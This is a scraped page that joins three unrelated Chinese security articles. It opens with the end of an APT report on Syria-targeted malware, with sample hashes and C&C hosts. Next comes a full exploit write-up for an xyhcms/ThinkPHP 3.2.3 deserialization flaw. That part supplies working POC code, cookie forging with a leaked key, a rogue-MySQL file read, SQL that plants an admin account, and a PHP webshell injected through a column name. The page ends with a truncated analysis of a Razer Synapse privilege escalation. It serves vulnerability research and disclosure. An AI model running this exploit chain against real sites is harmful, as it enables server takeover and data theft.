上表是PC平台中部分PE文件的PDB路径，这个路径就是恶意代码作者本机的文件路径，从相关用户名“Th3ProSyria”、“aboomar”来看，这些用户名更多出现在阿拉伯国家。
### 特殊文件名
样本MD5 | 文件名
---|---
a4e6c15984a86f2a102ad67fa870a844 | حمص تلبيسة قصف بالهاون.scr
3f00799368f029c38cea4a1a56389ab7 | صفقة جيش الاسلام مع النظام المتضمنة تبادل
75 اسير للنظام من عدرا العمالية مقابل 15 معتقل لجيش الاسلام image.vbs
ea79617ba045e118ca26a0e39683700d | وثيقة رقم 1 العميد مناف طلاس يترأس هيئة
الاركان العليا.vbs
表19 PC样本PDB路径
上表是部分攻击样本的文件名，其中文件名“وثيقة رقم 1 العميد مناف طلاس يترأس هيئة الاركان
العليا”是关于Manaf Tlass的信息，而Manaf Tlass是叙利亚前国防部长之子马纳夫・塔拉斯。文件名“حمص تلبيسة قصف
بالهاون”直译是“炮击霍姆斯”，而霍姆斯是叙利亚的一个城市，通过上述文件名可以侧面看出攻击者针对地区为叙利亚。文件名“صفقة جيش الاسلام
مع النظام المتضمنة تبادل 75 اسير للنظام من عدرا العمالية مقابل 15 معتقل لجيش
الاسلام”是关于囚犯交换的。因此从这些文件名可以看出，攻击者在诱饵文档命名时也颇为讲究，此类文件名容易诱惑用户点击。
### 文档作者
通过在攻击者后台[http://chatsecurelite.us.to/wp-content/uploads/2016/12/目录下发现文件1.docx](http://chatsecurelite.us.to/wp-content/uploads/2016/12/%E7%9B%AE%E5%BD%95%E4%B8%8B%E5%8F%91%E7%8E%B0%E6%96%87%E4%BB%B61.docx)文件，如下图。
图33 1.docx存放位置
查看1.docx的属性发现该文件有作者信息Raddex。
图34 1.docx属性
进一步关联分析发现，发现PC端样本SystemUI.exe(bdaaf37d1982a7221733c4cae17eccf8)也使用Raddex字符命名类，此样本C&C为31.9.48.183。这与叙利亚哈马市新闻网发布的攻击者IP信息一致。
图35 叙利亚哈马市新闻网发布的消息
因此，推断Raddex属于攻击者组织的用户名。
### 计算机名
图36 IP 31.9.48.183信息
图37 IP 82.137.255.56信息
图36、37分别是IP
31.9.48.183、82.137.255.56的相关信息，这两个IP都是攻击者所持有。通过对这两个IP关联分析，并结合前面的pdb路径，可以清楚知道aboomar、abo
moaaz属于攻击组织的计算机名。aboomar、abo moaaz此名字常出现在阿拉伯地区。
## 总结
通过对该组织相关TTPs（Tools、Techniques、Procedures）的研究分析，以及结合以往跟进或披露的 APT
组织或攻击行动，总结出以下几点：
### 移动端APT事件逐渐增多
以往披露的APT事件主要是针对Windows系统进行攻击，现今由于Android系统、APP的普及与发展，带动了Android手机等智能终端用户量的持续攀升，从而导致黑客组织的攻击目标也逐渐转向移动端。从我们捕获的样本也可以知道，攻击者显示从Windows平台逐渐过度到Android平台，并且在近期攻击者主要使用Android样本进行攻击，且更新速率很快，从而变相说明该组织后期主要会基于Android系统进行攻击。
因此，针对移动端的APT攻击不容忽略。
### 攻击技术由浅入深。
技术分析显示，该组织初期使用的特种木马技术并不复杂，主要使用开源的njRAT。但后期版本中，攻击者开始使用定制RAT，此种RAT需要通过层层释放执行恶意功能，于此同时，攻击者也开始使用VBS、JS脚本、Android
RAT进行全方位攻击。综合来看，该组织的攻击周期较长攻击目标之明确，并且攻击过程中使用了大量资源，都表明这不是一个人或一般组织能承受的攻击成本。
因此该组织行动背后组织应该不是普通的民间黑客组织，很有可能是具有高度组织化的、专业化的黑客组织。
### 攻击组织极可能来自阿拉伯国家。
通过前面分析我们知道PDB路径有“Th3Pro”、“aboomar”等字符串，文档作者Raddex，IP信息获取的“aboomar”、“abo
moaaz”计算机名，这些名字（“aboomar”、“abo moaaz”）常常出现在阿拉伯地区。并且通过部分样本中使用的字符串及文件名（如“حمص
تلبيسة قصف بالهاون”）可以知道攻击者熟悉阿拉伯语。
因此，综合来看该攻击行动极可能来自阿拉伯国家。
## 附录A：样本MD5
PC端样本MD5 | 移动端样本MD5
---|---
dc09543850d109fbb78f7c91badcda0d | 090ba0eef20b8fdcefd619ddc634b440
571afc1fe6ec2deef5099435c3b112f7 | 21cae0f8b41d5094c88858135a2bafc6
d84a553f9f272c8e2e6db525fa4f9977 | 3b8050b44700dec5cc7b2875549a3460
29e33220e37afd6c3a22543f2dad4486 | 405d28c207096120b92bf8338d2ed9f6
d38bd978afca411e8e4fc10861485834 | 5fe4361fbe0f96f521b7ad08cf4fa5c2
d774a45b9f865f2d3d045ead7d27d871 | 604035f7470a0de7b6169b218b30fe1e
ad9c09bb6b22cb970706b5e3ffdf7621 | 62d8a29ecae6bea296b2aeefa69814f7
55971412602747a98c3477b289ef2c9a | 74f9549afd7ba8e25f0dfbd735ed2130
b7d1e20f814e9300a5b104f0a6f0c6f6 | 9f6a99a4bfddbf1efc72264252f691ef
3f00799368f029c38cea4a1a56389ab7 | a5a7ad37a06d0beac8da7ae1663db001
a4e6c15984a86f2a102ad67fa870a844 | cb9759054dee65621ecf9c91018e4322
b5d9b03020fff512934e2001805f9c0b | ccf4a5d0f441c0e55fd871ebd229ccd7
b89e0d5a7329ee61fba7279dca14edf3 | cf507aa156fe856e74f22b80e83055fd
bdaaf37d1982a7221733c4cae17eccf8 | de83e22c323a3382fde98e4b7e6ddc3e
11b61b531a7bbc7668d7d346e4a17d5e | def07be7cd3584bd565b808f9d9103b5
d06f0950f2f3a0b069fa9cedfcbc7d43 | e022aa83908625ca356782480881dd8d
871e4e5036c7909d6fd9f23285ff39b5 | e53e4db569e2886b960f8f5a7d9069ff
6cde6e81f8bc05339d2dd50feadbc31f | 39dd3d9e2a276d4d341ef01b21964d05
612cb35dbab698b11a63a8c93df1cf6b | 59cc514938fa30b14f7d1d46f5fb493a
5232f720be177310c72ac004ed84f026 | 819cac2e71e2ed346a9b5e48077e786c
99977cb5eafe40b9672c75010ae74398 | 8ab2a456d8c0cdd5f541c53f925158f8
1403bbaa9e0fcb5c9d9e8efeca95efa3 | d94244732a762d9414587cce8d9836f8
eb8cce73a5f983b94d5bf6a389ea09f0 | b4f1cd4bbf1be5c4ed4d84de941f4cc1
0d5a49d9be130d238c0a9ce2bf3115a5 | 45c45e1afdd6232b08041576da590f12
e3f9694b264bdb667bfefb09c209a118 | e4197ea4e6fa6c1b7b053805cfa48b69
93ca8ea43d7af65875973adb2fcc80a3 | b010230cd1846226aae1b3b9b4a16ac7
382788bb234b75a35b80ac69cb7ba306 | 9dbda4346efae4daceac1e3ce6c23994
69a35e8c9cfe20edeeed96241d66dac7 | e448e46dd39b9398467e382128e538e4
fdedf688e4ac5fb4df059052883cd90b | 7eacdf48061a5aa075e81e69e151a767
bf1dd2bd62e34c467ac1bb3363c2a98b | d9b1e46a08cc5a5d4844193fffec4489
4ef5bd5f1cc6758a765b4ef6a270e527 | 7bd1e63ac84e4cf511e54ac85b7af6fe
cc0db787872eac747c75d7bea6e75bf1 | d6aa10393135f4a77191533d3422403b
ea79617ba045e118ca26a0e39683700d |
c9adaec7775c19c06b91b3d45ff4687e |
73dc99693709a12881681659292103e7 |
9231882b47475e327adc23f3b1f716f0 |
17cc1c907ac19139a98fab34d78f7323 |
6b2136a9ae899588769e9c0513be410e |
b29f50770355a8a165dff87f4aede6f0 |
af73ca52a77402a178ee3594020e88c1 |
1b09ce9b782e56131103aad73016e329 |
cf8ffe7f560b4d19aaaf93439101ef16 |
558a6afb2353bd25da76d17b0f80193b |
75e8aeb6314ced58a0c40e0b88a969a6 |
f519e5b04bd9cbf76875c0d8dbbbc8b4 |
8848631aeaf33a166c9e623d430cb1bf |
f739170918c50bea803b313d5cb0f470 |
ea73fa4f83a40cbb11ee04106414fe7a |
2ea0298b94b8fadb49ed35aece28cb14 |
6fcadad1af1894f6678a4f46c2e168c2 |
32ea9d96b6278f8040bf0bb4bbfa4418 |
b134dc4c1f69dd734417ac5125995bdb |
## 附录B：C&C列表
82.137.255.56
---
82.137.255.57
31.9.48.183
82.137.249.204
chatsecurelite.us.to
telgram.strangled.net
basharalassad1sea.noip.me
bbbb4.noip.me
android.nard.ca | 社区文章 |
# 痛失CVE之xyhcms（Thinkphp3.2.3）反序列化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020年5月份的时候看到先知有一篇文章
<https://xz.aliyun.com/t/7756>
这个漏洞非常非常简单，经典插配置文件getshell，而且使用了<?=phpinfo();?>这种标签风格以应对代码对<?php的过滤。xyhcms后续的修复方案当然是把<?也拉黑，但这种修复方案是非常消极的，我们可以看一眼配置文件。
<http://demo.xyhcms.com/App/Runtime/Data/config/site.php>
可以发现这些配置选项都是以序列化形式存储在配置文件当中的，且为php后缀。
以安全的角度来想，既然这些配置信息不是写在php代码中以变量存储(大多数cms比如discuz的做法)，就不应该以php后缀存储。否则极易产生插配置文件getshell的漏洞。
即使认真过滤了php标签，也可能产生xss和信息泄露的问题。
如果是以序列化形式存储，那么配置文件不管什么后缀，都不应该被轻易访问到，要么像thinkphp5一样配置文件根本不在web目录中，要么每次建站随机配置文件名称。
最后，这个序列化形式存储在文件中也有待商榷，容易产生反序列化问题。
当然，也可以学大多数cms的另外一个做法，配置信息存在数据库中。
下载源码，搭一搭开始审计xyhcms_v3.6_20201128
<http://www.xyhcms.com/xyhcms>
由于注意到配置文件是以反序列化方式存储，所以我优先搜了搜unserialize(
此cms使用的thinkphp3.2.3框架，所以下面的不用看了，只看
/App/Common/Common/function.php
发现get_cookie是使用的反序列化
//function get_cookie($name, $key = '@^%$y5fbl') {
function get_cookie($name, $key = '') {
if (!isset($_COOKIE[$name])) {
return null;
}
$key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
$value = $_COOKIE[$name];
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($value);
return unserialize($value);
}
$key默认为空，有注释可以固定为【@^%$y5fbl】，为空则使用CFG_COOKIE_ENCODE当key，然后md5加密$key，传入
SysCrypt类当密钥，加密代码见/App/Common/Lib/SysCrypt.class.php。
$value是COOKIE中参数为$name对应的值，用SysCrypt类的php_decrypt方法解密，解密之后是一个序列化字符串，可以被反序列化。
但这个反序列化的前提是知道key，如果被取消注释了，那么key为【@^%$y5fbl】，如果默认没改，就是CFG_COOKIE_ENCODE。而CFG_COOKIE_ENCODE这个值创建网站时会被随机分配一个，且可以在后台改。
且在/App/Runtime/Data/config/site.php中被泄露。
总结一下就是cookie传值，site.php泄露key，这个值先被php_decrypt解密，再进行反序列化，和shiro相似。
那么找到了反序列化入口，而且是极易利用的COOKIE里面。但管理员登录后COOKIE中并没有加密字符串，搜一下get_cookie(，发现是前台注册会员用的。
前台随便注册一个会员，在COOKIE中发现加密字符串，里面任意一个都可以作为序列化入口。
比如nickname=XSIEblowDDRXIVJxBTcHPg5hAWsDbVVoACdcPg%3D%3D就是前台账户sonomon的序列化并加密。这里用接口试一下就明白了。
PS：后面发现使用uid更加通用。
/xyhcms/index.php?s=/Public/loginChk.html
这里将get_cookie，set_cookie，SysCrypt相关的代码抄一下并修改好，写处php加解密工具。
<?php
class SysCrypt {
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'YzYdQmSE2';
$key = md5($key);
$sc = new SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'YzYdQmSE2';
$value = serialize($args);
$key = md5($key);
$sc = new SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$a = set_cookie('luoke','');
echo $a.'<br>';
echo get_cookie($a,'');
得到加密序列化字符串
放到cookie里试一下
完美，接下来就是需要找到反序列化链，我们先随便找个__destruct(修改源码，加个var_dump(1)，看能否触发。
/Include/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() {
var_dump(1);
empty($this->img) || $this->img->destroy();
}
写好POC
<?php
namespace Think\Image\Driver;
class Imagick{
}
namespace Common\Lib;
class SysCrypt {
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = 'YzYdQmSE2';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = 'YzYdQmSE2';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
如上图，成功以反序列化方式触发__destruct()，后续测试发现也不需要登录。那么万事具备，只差反序列化链，但是众所周知thinkphp5.x都已被审计出反序列化链，thinkphp3.2.3却并不存在反序列化链，9月份时我问某个群里，也都说的没有。
我自己的找链思路如下，全局找__destruct()就只有一个靠谱的。
/Include/Library/Think/Image/Driver/Imagick.class.php
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
$this->img可控，也就是说可以触发任意类的destroy方法，或者触发__call方法。__call没有任何靠谱的，反倒是destroy()两个都比较靠谱。
/Include/Library/Think/Session/Driver/Db.class.php
/Include/Library/Think/Session/Driver/Memcache.class.php
Db.class看起来可以SQL注入，而Memcache.class看起来可以执行任意类的delete方法。但两者的destroy方法都有个问题，必须要传入一个$sessID参数，而Imagick.class的destroy并不能传参。所以在这儿就断掉了。
当时我在php7环境中测试，这个东西卡死我了，后来有人找出了thinkphp3.2.3的反序列化链，我才明白原来换php5就行了。直骂自己菜，对php版本特性知道的太少了，否则我可能早就审计出thinkphp3.2.3的反序列化链了。
<https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA>
<?php
function a($test){
echo 'print '.$test;
phpinfo();
}
a();
这样的代码在php7中无法执行，在php5中虽然会报错，但依旧会执行。
将环境切换到php5， Db.class由于没有mysql_connect()建立连接，所以无法执行SQL。
public function destroy($sessID) {
$hander = is_array($this->hander)?$this->hander[0]:$this->hander;
mysql_query("DELETE FROM ".$this->sessionTable." WHERE session_id = '$sessID'",$hander);
if(mysql_affected_rows($hander))
return true;
return false;
}
只能Memcache.class
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
$this->handle和$this->sessionName均可控，此时等于可执行任意类的delete方法。
此时找delete方法，发现都跟数据库有关，且必须传输数组，由于$this->sessionName.$sessID必定是个字符串，所以得找一个能转数组的。
/Include/Library/Think/Model.class.php
public function delete($options = array()) {
$pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) {
if (!empty($this->data) && isset($this->data[$pk])) {
return $this->delete($this->data[$pk]);
} else {
return false;
}
getPk()代码简短，直接返回$this->pk。
public function getPk() {
return $this->pk;
}
那么$pk，$this->options，$this->data均可控，此时又调用了delete()自己一次，所以等于可以带参数使用delete方法了。
后面一系列参数都不影响代码执行，最终来到
$result = $this->db->delete($options);
等于利用Model.class作为跳板，可以带参数执行任意类的delete方法。
/Include/Library/Think/Db/Driver.class.php
public function delete($options=array()) {
$this->model=$options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table=$this->parseTable($options['table']);
$sql='DELETE FROM '.$table;
if(strpos($table,',')){
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .=$this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
此处在拼接$options数组中的SQL语句，最终放在$this->execute方法中执行。
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that=$this;
$this->queryStr =strtr($this->queryStr,array_map(function($val) use($that){ return '_cf4 .$that->escapeString($val).'_cf5 ; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
跟进$this->initConnect()
protected function initConnect($master=true) {
if(!empty($this->config['deploy']))
$this->_linkID = $this->multiConnect($master);
else
if ( !$this->_linkID ) $this->_linkID = $this->connect();
}
跟进$this->connect()
public function connect($config='',$linkNum=0,$autoConnection=false) {
if ( !isset($this->linkID[$linkNum]) ) {
if(empty($config))$config =$this->config;
try{
if(empty($config['dsn'])) {
$config['dsn']=$this->parseDsn($config);
}
if(version_compare(PHP_VERSION,'5.3.6','<=')){
$this->options[PDO::ATTR_EMULATE_PREPARES]=false;
}
$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
}catch ($e) {
if($autoConnection){
trace($e->getMessage(),'','ERR');
return $this->connect($autoConnection,$linkNum);
}else{
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
可以发现最终是以PDO建立数据库连接，$config 也就是$this->config可控，等于我们可以连接任意数据库，然后执行SQL语句。
可以参考<https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA>写出POC。
<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn"=> "mysql:host=localhost;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "root"
);
}
namespace Think;
class Model{
protected $options= array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0"
);
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
namespace Common\Lib;
class SysCrypt{
private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
public function __destruct() {
$this -> crypt_key = null;
}
}
function get_cookie($name, $key = '') {
$key = '7q6Gw97sh';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}
function set_cookie($args, $key = '') {
$key = '7q6Gw97sh';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
成功执行SQL语句，但很显然，这几乎是无危害的，因为你得知道别人数据库账户密码，或者填自己服务器的账户密码。文章中提到了利用恶意mysql服务器读取文件。
<https://github.com/Gifts/Rogue-MySql-Server>
文件读取需要绝对路径，可以猜测，也可以访问如下文件，php报错可能会爆出。
/App/Api/Conf/config.php
/App/Api/Controller/ApiCommonController.class.php
/App/Common/LibTag/Other.class.php
/App/Common/Model/ArcViewModel.class.php
得到绝对路径后，修改python脚本增加filelist为D:\\\xampp\\\htdocs\\\xyhcms\\\App\\\Common\\\Conf\\\db.php，修改POC数据库连接地址，成功读取配置文件。
读取到了本地的数据库之后，POC更换数据库地址，PDO默认支持堆叠，所以可以直接操作数据库。这里简单一点可以新增一个管理员上去。
“where” => “id=0;insert into xyhcms.xyh_admin
(id,username,password,encrypt,user_type,is_lock,login_num) VALUES
(222,’test’,’88bf2f72156e8e2accc2215f7a982a83′,’sggFkZ’,9,0,4);”
/xyhai.php?s=/Login/index
test/123456登录
如果需要注数据，可以尝试把数据插在一些无关紧要的地方，比如留言板。
“where” => “id=0;update xyhcms.xyh_guestbook set content=user() where id=1;”
/index.php?s=/Guestbook/index.html
同理，权限足够也可以直接利用outfile或者general_log来getshell。
如果权限不够怎么办呢？使用序列化数据存储为php文件实在非常危险，翻翻缓存文件夹。发现数据库列的信息也以序列化形式存储在php文件当中。
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
此时我们需要清理一下缓存
然后反序列化操纵mysql新增一个无关紧要的列名为<script language=’php’>phpinfo();</script>
PS：这里不能用问号，暂时不清楚原因。
“where” => “id=0;alter table xyh_guestbook add column `<script
language=’php’>phpinfo();</script>` varchar(10);”
最后再访问一下前台的留言板，或者后台的留言本管理，生成缓存文件。
/index.php?s=/Guestbook/index.html
最终getshell
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
总结一下
1，要求php5.x版本
2，/App/Runtime/Data/config/site.php泄露CFG_COOKIE_ENCODE
3，制作POC，获得反序列化payload
4，最好开放会员注册，检查/index.php?s=/Home/Public/login.html
然后向/index.php?s=/Public/loginChk.html，/index.php?s=/Home/Member/index.html等需要cookie的接口传递paylaod。Cookie键值为uid，nickname等。
5，访问一些php文件，通过报错获取绝对路径。
6，通过恶意mysql服务器，读取配置文件，获取数据库信息。
7，操作数据库。
8，getshell
这是一个非常冗长而有意思的漏洞利用链。
已上交CNVD-2021-05552 | 社区文章 |
# Razer Synapse 3 Windows客户端本地提权漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 enigma0x3，文章来源：enigma0x3.net
原文地址：<https://enigma0x3.net/2019/01/21/razer-synapse-3-elevation-of-privilege/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞简介
Razer Synapse（雷云）软件在系统中安装了一个服务（Razer Synapse Service），该服务以`NT
AUTHORITY\SYSTEM`权限运行，会加载`C:\ProgramData\Razer\`目录中的多个.NET
assembly。`C:\ProgramData\Razer\*`及其子目录/文件在权限方面没有严格控制，通过身份认证的任何用户可以具备这些目录/文件的完全控制权限（`FullControl`）。攻击者有可能绕过签名检测机制，通过assembly侧加载方法提升至`SYSTEM`权限。
该漏洞已在Windows 10 1803 （x64）系统上的Razer Synapse 3
（3.3.1128.112711）Windows客户端上复现成功。
## 二、漏洞分析
当Razer
Synapse服务启动时，会加载`C:\ProgramData\Razer\*`目录（包括子目录，比如`C:\ProgramData\Razer\Synapse3\Service\bin`）中的.NET
assembly。
观察`C:\ProgramData\Razer\Synapse3\Service\bin`上设置的DACL权限时，我们可以发现`Everyone`具备该目录的`FullControl`权限（也包括该目录中的任何文件）。
从理论上讲，攻击者可以将该目录中已有的.NET assembly替换成恶意assembly，重启系统，就可以让Razer Synapse
Service加载恶意assembly。这种方法需要考虑一些复杂情况，比如竞争条件，需要在服务加载源assembly前执行替换操作。此外，该服务中存在一些检查机制，攻击者在加载assembly前需要绕过这些机制。为了能成功利用漏洞，我们需要澄清成功加载assembly的具体条件。
首先要解决的第一个问题就是如何植入恶意assembly，使目标服务能够加载该assembly。对低权限用户来说，劫持已有的assembly可能是比较有挑战的一个任务，因为低权限用户无法停止或者启动Razer
Synapse服务。这意味着为了触发加载assembly的代码路径，攻击者需要重启目标系统。攻击者可以通过这种方式在条件竞争中获胜，将合法的assembly替换成恶意的assembly。其实这个问题很容易解决，观察目标服务，我们发现该服务会递归枚举`C:\ProgramData\Razer\*`中的所有DLL：
这意味着我们可以简单地将一个assembly存放在其中一个目录中（如`C:\ProgramData\Razer\Synapse3\Service\bin`），这样目标服务就会将其视为一个已有的、有效的assembly。
递归枚举`C:\ProgramData\Razer\*`中的所有DLL后，该服务会尝试确保这些assembly都带有Razer的签名。目标服务首先会获取“Razer.cer”的证书信息。然后在每个assembly上调用[X509Certificate.CreateFromSignedFile()](https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.x509certificates.x509certificate.createfromsignedfile?view=netframework-4.7.2)，接着比较“Razer.cer”证书链与待加载的assembly的证书链。
如果assembly的证书链与Razer.cer的不匹配，那么目标服务就不会加载该DLL。虽然在加载.NET
assembly之前先检查证书是一个很不错的选择，但目标在具体实现上并不健壮，这是因为`X509Certificate.CreateFromSignedFile()`只会提取证书链信息，并不会去检查待检查的文件签名是否有效（参考[此处](https://twitter.com/tiraniddo/status/1072475737142239233)资料）。这意味着攻击者有可能使用类似[SigPirate](https://github.com/xorrior/Random-CSharpTools/tree/master/SigPirate)之类的工具，将合法的Razer
assembly证书克隆到恶意的assembly中（因为目标服务并不会去校验签名是否有效）。
一旦assembly通过证书检测过程，目标服务就会利用[Assembly.LoadFile()](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfile?view=netframework-4.7.2)，将其加载到当前的app域中。目标服务在调用`Assembly.LoadFile()`的过程中并不会执行任何恶意代码，但会在加载assembly后，检查assembly中是否实现了[IPackage接口](https://simpleinjector.org/ReferenceLibrary/html/T_SimpleInjector_Packaging_IPackage.htm)。
该接口是`SimpleInjector`项目特有的一个接口（可参考该项目详细[说明文档](https://simpleinjector.org/ReferenceLibrary/)）。为了绕过这个检查过程，我们只需要在我们恶意的assembly中实现`IPackage`接口即可。一旦目标服务通过assembly的证书链验证，并且验证assembly中存在`IPackage`接口，就会将assembly加入运行列表中。对`C:\ProgramData\Razer\*`中的所有assembly执行完该操作后，目标服务就会将这个运行列表传递给`SimpleInjector`的[`RegisterPackages()`](https://simpleinjector.org/ReferenceLibrary/html/M_SimpleInjector_PackageExtensions_RegisterPackages.htm)函数。
`RegisterPackages()`会认为该列表中的assembly都已通过校验，然后调用每个assembly
`IPackage`接口中的[RegisterServices()](https://simpleinjector.org/ReferenceLibrary/html/M_SimpleInjector_Packaging_IPackage_RegisterServices.htm)函数。
作为攻击者，这正是我们可以用来执行恶意代码的具体位置。我们只需要将恶意代码逻辑加入我们构造的恶意assembly
`IPackage`接口的`RegisterServices()`方法中即可。
到目前为止，我们已经找到了攻击路径，可以滥用正常服务来提升代码执行权限，具体步骤如下：
1、编写自定义的assembly，其中实现了来自`SimpleInjector`项目的`IPackage`接口；
2、将恶意逻辑加入`IPackage`接口的`RegisterServices()`方法中；
3、编译assembly，然后使用类似`SigPirate`的工具，从合法的Razer assembly中克隆证书链；
4、将最终生成的恶意assembly释放到`C:\ProgramData\Razer\Synapse3\Service\bin`目录中；
5、重启服务或者重启主机。
## 三、漏洞利用
澄清如何提升代码执行权限后，我们现在可以着手利用这一过程。首先，我们需要创建自己的恶意assembly，实现所需的`IPackage`接口。为了完成该任务，我们可以在代码中引用[SimpleInjector](https://simpleinjector.org/index.html)项目中的`SimpleInjector`以及`SimpleInjector.Packaging`
assembly。添加引用语句后，我们还需要实现对应接口、添加恶意逻辑。典型的PoC assembly代码如下所示：
由于Razer为32位服务，因此我们需要以x86架构来编译assembly。编译完成后，我们需要绕过证书链验证机制。由于服务使用的是[X509Certificate.CreateFromSignedFile()](https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.x509certificates.x509certificate.createfromsignedfile?view=netframework-4.7.2)，并且没有验证签名，因此我们可以使用[SigPirate](https://github.com/xorrior/Random-CSharpTools/tree/master/SigPirate)，从已签名的Razer assembly中克隆证书：
我们可以在PowerShell中使用`Get-AuthenticodeSignature`，验证`SigPirate`正确设置了`lol.dll`的证书：
此时，我们已经生成了一个恶意的assembly，其中包含带有“后门”的`IPackage`接口，并且从合法的Razer
